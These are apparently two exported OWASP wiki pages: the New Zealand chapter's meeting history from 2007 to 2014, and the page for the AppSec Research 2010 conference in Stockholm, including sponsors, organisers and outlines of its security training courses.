[[File:OWASP_NZ_Day_2015_logo_small.png|400px|link=https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2015|26th and 26th February 2015 - University of Auckland Engineering Department<br />
]]<br />
<br />
At the University of Auckland Engineering Department<br />
<br />
== ''' 2014 ''' ==<br />
<br />
; 26 November 2014<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/209420462/ OWASP NZ Christchurch Meetup page]<br />
: '''Workshop:''' Review SSL/TLS, demo sslstrip and mitigation techniques<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' [https://twitter.com/kevinnz Kevin Alcock], [https://twitter.com/katiposec Security Consultant] at [https://katiposec.com/ Katipo Security]<br />
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.net/ BinaryMist Limited]<br />
<br />
; 25 September 2014<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Christchurch/events/198512052/ OWASP NZ Christchurch Meetup page]<br />
: '''Workshop:''' Review, Exploit and Learn from [https://bytefog.blogspot.co.nz/2015/11/lord-of-flies.html Vulnerable Web App]<br />
: '''Locations:''' Christchurch<br />
: '''Presented By:''' [https://twitter.com/t0x0_nz Chris Campbell], Security & Operations Consultant Jade<br />
: '''Co-Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data] and [http://binarymist.net/ BinaryMist Limited]<br />
<br />
; 24 July 2014<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter-Wellington/events/193784032/ OWASP NZ Wellington Meetup page]<br />
: '''Workshop:''' Web App Security Workshop<br />
: '''Locations:''' Wellington<br />
: '''Presented By:''' Adrian Hayes<br />
: '''Sponsor:''' [http://www.dimensiondata.com/en-NZ Dimension Data]<br />
<br />
== '''2013''' ==<br />
<br />
; 19 December 2013<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter/events/154075992/ Meetup Link Here]<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]<br />
: '''Locations:''' Wellington, Auckland, Christchurch, Webcast<br />
: '''Details:''' All details are on the meetup page above<br />
: '''Presentation:''' [https://www.owasp.org/images/9/9f/Extending-Burp-with-Python.pptx Extending Burp with Python]<br />
: '''Presented By:''' Mike Haworth, Aura Information Security<br />
<br />
;11th and 12th of September 2013<br />
<br />
[[File:OWASP_NZ_Day_2013_logo.png|400px|link=https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2013|11th and 12st September 2013 - Auckland Business School<br />
]]<br />
<br />
At the Auckland Business School<br />
<br />
[[OWASP New Zealand Day 2013|https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2013]]<br />
<br />
<br />
; 22 May 2013<br />
[http://www.meetup.com/OWASP-New-Zealand-Chapter/events/115108982/ OWASP Meetup page to RSVP]<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]<br />
: '''Locations:''' Wellington, Auckland, Webcast<br />
: '''Details:''' All details are on the meetup page above<br />
<br />
== '''2012''' ==<br />
<br />
<br />
; 31st August 2012<br />
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2012 OWASP New Zealand Day 2012]<br />
: '''Co-Sponsor:''' [http://www.auckland.ac.nz/ The University of Auckland], [http://www.security-assessment.com Security-Assessment.com], [http://www.aurainfosec.com Aura Information Security], [http://www.insomniasec.com Insomnia Security], [http://www.lateralsecurity.com Lateral Security], [http://www.webdrive.co.nz Web Drive]<br />
: '''Location:''' Auckland <br />
: '''Event site:''' [[OWASP_New_Zealand_Day_2012|OWASP New Zealand Day 2012]]<br />
<br />
; 8th May 2012<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' [https://www.owasp.org/images/e/e0/Owasp2012-MarkPiper.pdf An Overview and introduction to modern day BeEF]<br />
: '''Presented By:''' Mark Piper, Insomnia Security<br />
<br />
<br />
; 28th February 2012<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' [https://www.owasp.org/images/2/27/OWASP_Top_10-7_to_10-aj.pdf Introduction to the OWASP Top Ten - Part 3]<br />
: '''Presented By:''' Adrian Hayes, Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' [https://www.owasp.org/images/0/08/OWASP-Mistaken_Identity-Password_Reset-nickf.pdf Mistaken Identity: How Not To Build A Password Reset Process]<br />
: '''Presented By:''' Nick Freeman, Senior Security Consultant (Security-Assessment.com)<br />
<br />
<br />
== '''2011''' ==<br />
<br />
<!-- 2011 --><br />
; 6th December 2011<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com] and [http://www.touchpoint.co.nz Touchpoint]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' [https://www.owasp.org/images/6/6d/OWASP_NZ-DEC2011-OWASP_Top_10-4_to_6.pdf Introduction to the OWASP Top Ten - Part 2]<br />
: '''Presented By:''' Adrian Hayes, Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' [https://www.owasp.org/images/1/15/OWASP_NZ-DEC2011-Hardened_Hosting.pdf Hardened Hosting]<br />
: '''Presented By:''' Quintin Russ, Technical Director (SiteHost)<br />
<br />
<br />
; 20th September 2011<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' [https://www.owasp.org/images/c/cf/OWASP_NZ_SEP2011_TOP-10_1-of-3.pdf Introduction to the OWASP Top Ten - Part 1]<br />
: '''Presented By:''' Nick Freeman, Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' [https://www.owasp.org/images/3/31/OWASP_NZ_SEP2011_Clickjacking-for-shells_PDF-version.pdf Clickjacking for Shells]<br />
: '''Presented By:''' Andrew Horton, Security Consultant (Security-Assessment.com)<br />
<br />
<br />
; 7th July 2011<br />
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2011 https://www.owasp.org/images/0/05/OWASP_NZ_Day_2011_Logo.png]<br />
: '''Co-Sponsor:''' [http://www.security-assessment.com Security-Assessment.com], [http://www.auckland.ac.nz/ The University of Auckland]<br />
: '''Location:''' Auckland<br />
: '''Presentations:''' [http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2011#tab=Speakers Download] <br />
: '''Event site:''' [[OWASP_New_Zealand_Day_2011|OWASP New Zealand Day 2011]]<br />
<br />
<br />
; 2nd March 2011<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' Crazy Insecure Web Apps Google Didn't Tell You About..<br />
: '''Presented By:''' Adrian Hayes, Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' [http://www.owasp.org/images/5/5e/2011-03-02-OWASP.pdf I know what you did last summer: The latest from the world of web hacks]<br />
: '''Presented By:''' Kirk Jackson, Security Consultant (Aura Software Security)<br />
<br />
== '''2010''' ==<br />
<br />
<!-- 2010 --><br />
<br />
; 15th July 2010<br />
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2010 http://www.owasp.org/images/a/a7/Owasp_nz_day_2010.jpg]<br />
: '''Co-Sponsor:''' [http://www.security-assessment.com Security-Assessment.com], [http://www.lateralsecurity.com Lateral Security], [http://www.auckland.ac.nz/ The University of Auckland]<br />
: '''Location:''' Auckland<br />
: '''Presentations:''' [http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2010#tab=Presentations Download] <br />
: '''Event site:''' [[OWASP_New_Zealand_Day_2010|OWASP New Zealand Day 2010]]<br />
<br />
; 4th March 2010<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' MS-SQL Injections.<br />
: '''Presented By:''' Scott Bell, Security Consultant (Security-Assessment.com)<br />
<br />
<br />
== '''2009''' ==<br />
<br />
<!-- 2009 --><br />
<br />
; 10th November 2009<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' Testing AMF/Flex.<br />
: '''Presented By:''' Nick Freeman, Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' "Shared Ownership", from a web security perspective.<br />
: '''Presented By:''' Quintin Russ, Technical Director (Site Host)<br />
<br />
<br />
; 13th July 2009<br />
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2009 https://www.owasp.org/images/8/85/Owasp_nz_logo.jpg]<br />
: '''Co-Sponsor:''' [http://www.security-assessment.com Security-Assessment.com], [http://www.lateralsecurity.com Lateral Security], [http://www.auckland.ac.nz/ The University of Auckland]<br />
: '''Location:''' Auckland<br />
: '''Presentations:''' [http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2009#tab=Presentations Download] <br />
: '''Event site:''' [[OWASP_New_Zealand_Day_2009|OWASP New Zealand Day 2009]]<br />
<br />
<br />
; 19th March 2009<br />
: '''Co-Sponsor:''' [http://www.vodafone.co.nz Vodafone New Zealand] and [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' "[http://www.owasp.org/index.php/Image:ActiveXploitation_In_2009.pptx ActiveXploitation in 2009]"<br />
: '''Presented By:''' Paul Craig, Principal Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' "[http://www.owasp.org/index.php/Image:OWASP_Mar09_Reversing_JavaScript.zip Reversing JavaScript]"<br />
: '''Presented By:''' Roberto Suggi Liverani, Senior Security Consultant (Security-Assessment.com)<br />
<br />
== '''2008''' ==<br />
<br />
<!-- 2008 --><br />
; 5th November 2008<br />
: '''Co-Sponsor:''' [http://www.vodafone.co.nz Vodafone New Zealand] and [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' "[https://www.owasp.org/index.php/Image:Common_Application_Flaws.ppt Common Application Flaws]"<br />
: '''Presented By:''' Brett Moore, Network Intrusion Specialist (Insomnia Security)<br />
: '''Presentation:''' "In your Browser, Jackin your Clicks"<br />
: '''Presented By:''' Beau Butler, Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' "Opera Stored Cross Site Scripting"<br />
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-Assessment.com)<br />
<br />
<br />
; 3rd September 2008<br />
: '''Co-Sponsor:''' [http://www.microsoft.com/en/nz/default.aspx Microsoft] and [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' "[https://www.owasp.org/index.php/Image:Browser_security.ppt Browser Security]"<br />
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' "[https://www.owasp.org/index.php/Image:Time_Based_SQL_Injections.ppt Time based blind SQL Injections]"<br />
: '''Presented By:''' Muhaimin Dzulfakar, Security Consultant (Security-Assessment.com)<br />
<br />
<br />
; 25th June 2008<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' "Fuzz the Web"<br />
: '''Presented By:''' Dean Jerkovich, Security Analyst (ASB)<br />
: '''Presentation:''' "Hacking The World With Flash Part #2: The Results"<br />
: '''Presented By:''' Paul Crag, Principal Security Consultant (Security-Assessment.com)<br />
<br />
<br />
; 29th April 2008<br />
: '''Co-Sponsor:''' [http://security-assessment.com Security-Assessment.com]<br />
: '''Locations:''' Wellington, Auckland<br />
: '''Presentation:''' "[https://www.owasp.org/index.php/Image:Hacking_The_World_With_Flash.ppt Hacking The World With Flash]"<br />
: '''Presented By:''' Paul Craig, Principal Security Consultant (Security-Assessment.com)<br />
: '''Presentation:''' "[https://www.owasp.org/index.php/Image:Web_spam_techniques.ppt Web Spam Techniques] - also available in [http://malerisch.net/docs/web_spam_techniques/web_spam_techniques.html HTML] format"<br />
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-Assessment.com)<br />
<br />
; 21st February 2008<br />
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]<br />
: '''Locations:''' Auckland<br />
: '''Presentation:''' "[http://www.owasp.org/index.php/Image:Xpath_Injection.ppt Xpath Injection - An Overview]"<br />
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-assessment.com)<br />
<br />
<br />
== '''2007''' ==<br />
<br />
<!-- 2007 --><br />
; 5th December 2007<br />
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]<br />
: '''Locations:''' Auckland<br />
: '''Presentation:''' "[http://malerisch.net/docs/ajax_security/Ajax_security.ppt Ajax Security]"<br />
: '''Presented By:''' Roberto Suggi Liverani, Security Consultant (Security-assessment.com)<br />
: '''Presentation:''' "On the job browser exploitation"<br />
: '''Presented By:''' Mark Piper, Senior Security Consultant (Security-assessment.com)<br />
<br />
; 22nd May 2007<br />
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]<br />
: '''Press Release:''' [http://www.vedaadvantage.com/vantage/news_in_brief_and_events/host_nz_owasp_meeting.aspx VedaAdvantage.com]<br />
: '''Locations:''' Auckland<br />
: '''Presentation:''' "OWASP in New Zealand"<br />
: '''Presented By:''' Roberto Suggi Liverani / Antonio Spera<br />
<br />
; April 2007<br />
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]<br />
: '''Locations:''' Auckland<br />
<br />
; January 2007<br />
: '''Co-Sponsor:''' [http://www.vedaadvantage.com/home/home_default.aspx Veda Advantage]<br />
: '''Locations:''' Auckland<br />
<br />
== Activities == <br />
<br />
OWASP New Zealand members actively participate in various OWASP activities. The following are some recent activities undertaken by OWASP NZ members: <br />
<br />
* Kim Carter ran a [http://www.meetup.com/owaspnycmetro/events/228716474/ workshop] at the NYC chapter<br />
* Kirk Jackson stepped up to replace Adrian Hayes for Wellington from New Zealand day 2016 onwards.<br />
* Denis Andzakovic stepped up to replace Nick Freeman for Auckland in March 2014<br />
* Kim Carter came on board to lead Christchurch from New Zealand Day 2013 onwards.<br />
* Nick Freeman and Scott Bell have been appointed as the new leaders of the new OWASP New Zealand Chapter<br />
* Roberto Suggi Liverani has resigned from his position as OWASP New Zealand Chapter Leader<br />
* Roberto Suggi Liverani will be speaking at OWASP AppSec Asia 2009 conference<br />
* Roberto Suggi Liverani and Nick Freeman will be speaking at Defcon 17<br />
* OWASP NZ Day 2009 - [http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2009#tab=Presentations Presentations online]<br />
* Roberto Suggi Liverani and Nick Freeman will be speaking at EUSecWest 09<br />
* Brett Moore will be speaking at [http://www.owasp.org/index.php/OWASP_AU_Conference_2009 OWASP AU Conference] about "Vulnerabilities In Action".<br />
* Roberto Suggi Liverani contributed to the [http://www.owasp.org/index.php/OWASP_Testing_Project OWASP Testing Guide v3].<br />
* Mark Piper took his "On the job browser exploitation" talk to the [http://www.owasp.org/index.php/OWASP_Australia_AppSec_2008_Conference OWASP_Australia_AppSec_2008_Conference].<br />
* Rob Munro has been appointed as OWASP Evangelist<br />
* OWASP NZ has audio/video conference capability between Auckland and Wellington<br />
<br />
== OWASP NZ Members == <br />
<br />
We are always looking for additional board members to evangelise the OWASP mission help with meetings, projects and initiatives as we all know it takes time/effort to run a chapter. Please contact us if you are interested to join the NZ OWASP board member or for any queries related to OWASP NZ.<br />
<br />
<ul><br />
*<b>NZ Board Member (Leader - Auckland)</b> [mailto:denis.andzakovic@owasp.org Denis Andzakovic]<br />
*<b>NZ Board Member (Leader - Wellington)</b> [mailto:kirk.jackson@owasp.org Kirk Jackson]<br />
*<b>NZ Board Member (Leader - Christchurch)</b> [mailto:kim.carter@owasp.org Kim Carter] 0274 622 607<br />
</ul><br />
<br />
<br />
<br />
== Chapter Sponsors ==<br />
<br />
<table width="100%" border="0" cellspacing="0" cellpadding="0"><br />
<tr><br />
<td><center>[http://www.security-assessment.com https://www.owasp.org/images/a/a4/Security-assessment_com.jpeg]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
</tr><br />
<tr><br />
<td><center>[http://www.security-assessment.com www.security-assessment.com]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
</tr><br />
<tr><br />
<td><center>[http://www.touchpoint.co.nz https://www.owasp.org/images/d/d8/Touchpoint.jpg]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
</tr><br />
<tr><br />
<td><center>[http://www.touchpoint.co.nz www.touchpoint.co.nz]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
</tr><br />
<tr><br />
<td><center>[http://binarymist.io https://www.owasp.org/images/4/4c/BinaryMistLimited.png]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
</tr><br />
<tr><br />
<td><center>[http://binarymist.io binarymist.io]</center></td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
<td>&nbsp;</td><br />
</tr><br />
</table></div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_AppSec_Research_2010_-_Stockholm,_Sweden&diff=232042OWASP AppSec Research 2010 - Stockholm, Sweden2017-08-06T22:09:01Z<p>Dan Wallis: </p>
<hr />
<div>__NOTOC__ <br />
<br />
==== Welcome ====<br />
<br />
== Thank You! ==<br />
<br />
Ladies and Gentlemen, <br />
<br />
June 21-24, 2010 ~275 appsec people met in beautiful Stockholm, Sweden. The OWASP chapters in [[Sweden]], [[Norway]], and [[Denmark]] together with Stockholm University hosted OWASP AppSec Research 2010. <br />
<br />
If you have any questions, please email the conference chair: john.wilander at owasp.org<br />
<br />
'''See you all at OWASP AppSec Research 2011 in Dublin, Ireland. Cheers!'''<br />
<br />
[[Image:Stockholm old town small.jpg]] <br />
<br />
=== Sponsors ===<br />
<br />
Diamond sponsor:<br> [[Image:AppSec Research 2010 Microsoft diamond sponsor.jpg]] <br />
<br />
Gold sponsors:<br> [[Image:Cybercom logo.png]] [[Image:Portwise logo.png]]<br> [[Image:Fortify logo AppSec Research 2010.png]] [[Image:Omegapoint logo.png]] <br />
<br />
Silver sponsors:<br> [[Image:Mnemonic logo.png]] [[Image:AppSec Research 2010 sponsor Nixu logo.jpg]] <br><br />
[http://www.hps.se/ http://www.owasp.org/images/6/6f/Hps_logo.png] [[Image:AppSec Research 2010 sponsor F5 logo.jpg]] <br><br />
[[Image:AppSec Research 2010 sponsor Imperva logo.jpg]] [[Image:AppSec_Research_2010_sponsor_Promon_logo.jpg]] <br />
<br />
Dinner Party sponsor:<br> [http://www.google.com/EngineeringEMEA http://www.owasp.org/images/thumb/8/86/AppSec_Research_2010_Google_20k_sponsor.jpg/150px-AppSec_Research_2010_Google_20k_sponsor.jpg]<br />
<br />
<br />
Lunch sponsors (1 taken, 1 open):<br> [[Image:IIS logo.png]] <br />
<br />
Coffee break sponsors (1 taken, 3 open):<br> [[Image:MyNethouse logo.png]] <br />
<br />
Media sponsors:<br> [[Image:AppSec Research 2010 Help Net Security sponsor.jpg]] <br />
<br />
Notepad sponsors:<br><br />
[[Image:TrustwaveLogo.jpg|Trustwave - Notepad sponsor]]<br />
<br />
For full sponsoring program see the Sponsoring tab above.<br />
<br />
=== "AppSec Research".equals("AppSec Europe") ===<br />
<br />
This conference was formerly known as OWASP AppSec Europe. We have added 'Research' to highlight that we invite both industry and academia. All the regular AppSec Europe visitors and topics are welcome along with contributions from universities and research institutes. <br />
<br />
This simply is ''the'' European conference for anyone interested in or working with application security. Co-host 2010 was the [http://dsv.su.se/en/ Department of Computer and Systems Science] at Stockholm University, offering a great venue in the fabulous Aula Magna. <br />
<br />
=== Countdown Challenges -- Free Tickets to Win! ===<br />
<br />
There was a challenge posted on the conference wiki page the 21st every month up until the event. The winner got free entrance to the conference.<br />
<br />
=== Organizing Committee ===<br />
<br />
• John Wilander, chapter leader Sweden (chair)<br> • Mattias Bergling (vice chair)<br> • Alan Davidson, Stockholm University/Royal Institute of Technology (co-host)<br> • Ulf Munkedal, chapter leader Denmark<br> • Kåre Presttun, chapter leader Norway<br> • Stefan Pettersson (sponsoring coordinator)<br> • Carl-Johan Bostorp (schedule and event coordinator)<br> • Martin Holst Swende (coffee/lunch/dinner)<br> • Michael Boman (conference guide/attendee pack)<br> • Predrag Mitrovic, OWASP Sweden Board<br> • Kate Hartmann, OWASP<br> • Sebastien Deleersnyder, OWASP Board <br />
<br />
'''We sure hope you enjoyed Stockholm this year!'''<br> Regards, John Wilander <br />
<br />
==== June 21-22 (Training) ====<br />
<br />
== Schedule ==<br />
10:30-10:50 Coffee break<br><br />
12:15-13:00 Lunch in the canteen<br><br />
15:00-15:20 Coffee break<br><br />
<br />
17:00 End of training for the day<br />
<br />
18:00 Monday we'll just go somewhere to eat, Tuesday we have the official meet up at "Mosebacke". Check the "Social Events" tab above.<br />
<br />
== Training Registration is closed ==<br />
<br />
Application security training is given the first two days, '''June 21-22'''. The price was '''€990''' (~$1.350) for a two-day course. 65 people took the chance to learn from the best!<br />
<br />
=== Course 1: Threat Modeling and Architecture Review (two days) ===<br />
<br />
[[Image:AppSec Research 2010 Pravir Chandra.jpg]] <br />
<br />
Pravir Chandra, Fortify Software <br />
<br />
'''Abstract''': Threat Modeling and Architecture Review are the cornerstones of a preventative approach to Application Security. By combining these topics into single comprehensive course attendees can get a complete understanding of how to understand the threat an application faces and how the application will handle those potential threats. This enables the risk to be accurately assessed and appropriate changes or mitigating controls recommended. From the course outline:<br />
<br />
1. Overview<br />
* Scope and problem definition<br />
* High‐level view of the overall process<br />
* Core techniques<br />
2. Threat assessment and modeling<br />
* Overall threat modeling process<br />
* Preparation and background information<br />
* Capturing business and security goals<br />
* Identify vulnerabilities and other risks<br />
* Establish weighting and prioritization of risks<br />
* Guard against risks with compensating controls<br />
* EXERCISE - Threat model a real‐life problem<br />
3. Architecture review techniques<br />
* Authentication<br />
* Authorization<br />
* EXERCISE - Apply the techniques from Authentication and Authorization<br />
* Input validation<br />
* Output encoding<br />
* EXERCISE - Apply the techniques from Input Validation and Output Encoding<br />
* Error handling<br />
* Audit logging<br />
* EXERCISE - Apply the techniques from Error Handling and Audit Logging<br />
* Encryption<br />
* Configuration management<br />
* EXERCISE - Apply the techniques from Encryption and Configuration Management<br />
4. Specifying security requirements<br />
* Writing positive security requirements<br />
* Deriving security requirements from functional requirements<br />
* Thinking broadly about requirements coverage<br />
* Balancing security requirements with functionality<br />
<br />
'''Trainer Bio''': Pravir Chandra is Director of Strategic Services at Fortify where he works with clients to build and optimize software security assurance programs. Pravir is widely recognized in the industry for his expertise in software security and code analysis, and also for his ability to apply technical knowledge strategically from a business perspective. His book, Network Security with OpenSSL is a popular reference on protecting software applications through cryptography and secure communications. His varied special project experience includes creating and leading the Open Software Assurance Maturity Model (OpenSAMM) project <br />
<br />
=== Course 2: Introduction to Malware Analysis (two days) ===<br />
<br />
[[Image:AppSec Research 2010 Jason Geffner.jpg]] <br />
<br />
Jason Geffner, Next Generation Security Software (NGS), and Scott Lambert, Microsoft <br />
<br />
'''Abstract''': Security researchers are facing a growing problem in the complexity of malicious executables. While dynamic black-box automation tools exist to discover what malware will do on a given execution, it is often important for an analyst to know the full capabilities of a given malware sample. What port does it listen on? What password does it expect for backdoor access? What files will it write to? What will it do tomorrow that it didn't do today? This class will focus on teaching attendees the steps required to understand the functionality of given malware samples. This is a hands-on course. Attendees will work on real-world malware through a series of lab exercises designed to build their expertise in understanding the analysis process. <br />
<br />
Learning Objectives: <br />
<br />
*An understanding of how to use reverse engineering tools <br />
*An understanding of low-level code and data flow <br />
*PE File format <br />
*x86 Assembly language <br />
*API functions often used by malware <br />
*Anti-analysis tricks and how to defeat them <br />
*Exploits and Shellcode <br />
*A methodology for analyzing malware with and without the use of specialized tools<br />
<br />
'''Trainer Bio''': Jason Geffner joined Next Generation Security Software Ltd. in June of 2007 as a Principal Security Consultant. Jason focuses on performing security reviews of source code and designs, reverse engineering software protection methods and DRM protection methods, deobfuscating and analyzing malware, penetration testing web applications and network infrastructures, and developing automated security analysis tools. <br />
<br />
=== Course 3: Building Secure Ajax and Web 2.0 Applications (two days) ===<br />
<br />
[[Image:AppSec Research 2010 Dave Wichers.jpg]] <br />
<br />
Dave Wichers, Aspect Security <br />
<br />
'''Abstract''': Rich Internet applications using technologies like Ajax, Flash, ActiveX, and Java Applets require special attention to secure. This course addresses the special issues with this type of application development. Students will gain hands-on testing experience with freely available web application security test tools to find and diagnose such flaws and learn how to identify, fix, and avoid them in their own projects. In addition, Aspect’s engineers are leaders in the AppSec Community and will offer the students an amazing perspective.<br />
<br />
'''Trainer Bio''': Dave Wichers is a member of the OWASP Board and a coauthor, along with Jeff Williams, of all previous versions of the OWASP Top Ten. Dave is also the Chief Operating Officer of Aspect Security, a company that specializes in application security services. Mr. Wichers brings over twenty years of experience in the information security field. Prior to cofounding Aspect, he ran the Application Security Services Group at a large data center company, Exodus Communications. His current work involves helping customers, from small e-commerce sites to Fortune 500 corporations and the U.S. Government, secure their applications by providing application security design, architecture, and SDLC support services: including code review, application penetration testing, security policy development, security consulting services, and developer training. <br />
<br />
=== Course 4: Assessing and Exploiting Web Apps with Samurai-WTF (two days) ===<br />
<br />
[[Image:AppSec Research 2010 Justin Searle.jpg]] <br />
<br />
Justin Searle, InGuardians <br />
<br />
'''Abstract''': This course will focus on using open source tools to perform web application assessments. The course will take attendees through the process of application assessment using the open source tools included in the Samurai Web Testing Framework Live CD (Samurai-WTF). Day one will take students through the steps and open source tools used to assess applications for vulnerabilities. Day two will focus on the exploitation of web app vulnerabilities, spending half the day on server side attacks and the other half of the day on client side attacks. The latest tools and techniques will be use throughout the course, including several tools developed by the trainers themselves. From the course outline:<br />
<br />
Samurai-WTF Project and Distribution (about, using ...)<br><br />
Web Application Assessment Methodology (pentest types, four step methodology ...)<br><br />
Step 1: Reconnaissance<br />
* Overview of Web Application Recon<br />
* Domain and IP Registration Databases (Labs: whois)<br />
* Google Hacking (Labs: gooscan, gpscan)<br />
* Social Networks (Labs: Reconnoiter)<br />
* DNS Interrogation (Labs: host, dig, nslookup, fierce)<br />
Step 2: Mapping<br />
* Overview of Mapping<br />
* Port Scanning and Fingerprinting (Labs: nmap, zenmap, Yokoso!)<br />
* Web Service Scanning (Labs: Nikto)<br />
* Spidering (Labs: wget, curl, Paros, WebScarab, BurpSuite)<br />
* Discovering "Non-Discoverable" URLs (Labs: DirBuster)<br />
Step 3: Discovery<br />
* Using Built-in Tools (Labs: Page Info, Error Console, DOM Inspector, View Source)<br />
* Poking and Prodding (Labs: Default User Agent, Cookie Editor, Tamper Data)<br />
* Interception Proxies (Labs: Paros, WebScarab, BurpSuite)<br />
* Semi-Automated Discovery (Labs: RatProxy)<br />
* Automated Discovery (Labs: Grendel-Scan, w3af)<br />
* Information Discovery (Labs: CeWL)<br />
* Fuzzing (Labs: JBroFuzz, BurpIntruder)<br />
* Finding XSS (Labs: TamperData, XSS-Me, BurpIntruder)<br />
* Finding SQL Injection (Labs: SQL Inject-Me, SQL Injection, BurpIntruder)<br />
* Decompiling Flash Objects (Labs: Flare)<br />
Step 4: Exploitation<br />
* Username Harvesting (Labs: python)<br />
* Brute Forcing Passwords (Labs: python)<br />
* Command Injection (Labs: w3af)<br />
* Exploiting SQL Injection (Labs: SQLMap, SQLNinja, Laudanum)<br />
* Exploiting XSS (Labs: Durzosploit)<br />
* Browser Exploitation (Labs: BeEF, BrowserRider, Yokoso!)<br />
* Advanced exploitation through tool integration (MSF + sqlninga/sqlmap/BeEF)<br />
<br />
'''Trainer Bio''': Justin Searle, a Senior Security Analyst with InGuardians, specializes in web application, network, and embedded penetration testing. Justin has presented at top security conferences including DEFCON, ToorCon, ShmooCon, and SANS. Justin has an MBA in International Technology and is CISSP and SANS GIAC-certified in incident handling and hacker techniques (GCIH) and intrusion analysis (GCIA). Justin is one of the founders and lead developers of Samurai-WTF. <br />
<br />
=== Course 5: Securing Web Services (two days) ===<br />
<br />
[[Image:AppSec Research 2010 Jason Li.jpg]] <br />
<br />
Jason Li, Aspect Security <br />
<br />
'''Abstract''': Aspect Security offers this two day Securing Web Services course which focuses on the most important messages regarding the development of secure web services. This course helps developers understand the real risks associated with Security in Web Services and Service Oriented Architectures, what standard are available to help, and how to use the standards. The course includes a combination of lecture, demonstrations, and hands on testing designed to provide detailed guidance regarding the implementation of specific security principles and functions in web services.<br />
<br />
From the course outline:<br />
<br />
* Web Service and SOA Threat Model<br />
* Data Formats: XML, JSON<br />
* Protocols: SOAP, REST<br />
* Overview of the Standards (WS-Security, SAML, XACML)<br />
* Common Communications Vulnerabilities<br />
* Using SSL for Simple Web Services<br />
* XML Encryption<br />
* XML Signature<br />
* WS-Security<br />
* How to Manage Web Service Identities<br />
* Federated Identities<br />
* Common Authentication Vulnerabilities<br />
* WSDL Examples of Implementing WS-Security<br />
* Common Access Control Vulnerabilities<br />
* How to Validate Web Service Input (XML Schema, Business Logic Validation)<br />
* Common XML Attacks (Recursion, References, Overflow, Transforms)<br />
* State Management<br />
* Using Interpreters Safely (SQL Injection, LDAP Injection, Command Injection, XPath Injection)<br />
* Denial of Service and Availability<br />
<br />
